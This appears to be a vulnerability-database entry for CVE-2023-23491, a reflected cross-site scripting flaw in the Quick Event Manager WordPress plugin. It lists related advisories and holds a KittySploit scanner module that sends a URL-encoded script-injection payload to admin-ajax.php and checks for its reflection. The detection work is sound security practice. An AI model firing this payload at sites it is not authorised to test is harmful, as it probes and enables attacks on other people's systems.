Quick Event Manager < 9.7.5 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| The vulnerability of the qem_ajax_calendar function in the Quick Event Manager plugin of the WordPress content management system allows a hacker to execute XSS attacks. | 30 Oct 202300:00 | – | bdu_fstec | |
| CVE-2023-23491 | 27 Jul 202302:12 | – | circl | |
| WordPress Plugin The Quick Event Manager 跨站脚本漏洞 | 20 Jan 202300:00 | – | cnnvd | |
| CVE-2023-23491 | 20 Jan 202300:00 | – | cve | |
| CVE-2023-23491 | 20 Jan 202300:00 | – | cvelist | |
| EUVD-2023-27591 | 20 Jan 202300:00 | – | euvd | |
| CVE-2023-23491 | 20 Jan 202300:00 | – | mend | |
| Quick Event Manager < 9.7.5 - Cross-Site Scripting | 15 Oct 202602:05 | – | nuclei | |
| CVE-2023-23491 | 20 Jan 202319:15 | – | nvd | |
| WordPress Quick Event Manager Plugin < 9.7.5 XSS Vulnerability | 28 Aug 202300:00 | – | openvas |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Quick Event Manager WordPress Plugin, version < 9."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Quick Event Manager < 9.7.5 - Cross-Site Scripting Detection',
'description': "The Quick Event Manager WordPress Plugin, version < 9.7.5, is affected by a reflected cross-site scripting vulnerability in the 'category' parameter of its 'qem_ajax_calendar' action.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'wordpress', 'wp', 'wp-plugin', 'wpscan', 'xss', 'quick-event-manager', 'fullworksplugins', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://wpscan.com/vulnerability/49178a9d-0500-4e3e-8ea1-6cd4eeda2a4e',
'https://nvd.nist.gov/vuln/detail/CVE-2023-23491',
'https://github.com/ARPSyndicate/cvemon',
'https://github.com/JoshuaMart/JoshuaMart',
],
'cve': 'CVE-2023-23491',
}
def run(self):
r = self.http_request(method="GET", path='/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('<script>alert(document.domain)</script>', 'qem_calendar',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="Quick Event Manager < 9.7.5 - Cross-Site Scripting detected",
path='/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E',
)
return True
return False
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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.16.1
EPSS0.01179
SSVC